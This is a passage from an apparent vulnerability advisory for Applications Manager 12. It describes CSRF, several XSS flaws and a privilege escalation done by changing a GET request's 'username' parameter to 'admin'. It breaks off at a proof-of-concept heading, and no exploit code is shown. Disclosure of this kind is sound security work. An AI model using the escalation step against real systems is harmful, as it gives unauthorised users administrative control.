Cross-Site Request Forgery (CSRF) - The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site https://en.wikipedia.org/wiki/Cross-site_request_forgery 2. Cross Site Scripting (XSS) - Multiple cross-site scripting vulnerabilities were also discovered. The issue is triggered when input passed via the multiple parameters is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. https://en.wikipedia.org/wiki/Cross-site_scripting 3. Vertical Privilege Escalation - Applications Manager 12 suffers from a privilege escalation issue. Normal user can elevate his/her privileges by modifying a GET request seting the parameter 'username' to 'admin'. Attacker can exploit this issue using also cross-site request forgery attacks. https://en.wikipedia.org/wiki/Privilege_escalation [Proof-of-Concept] 1.
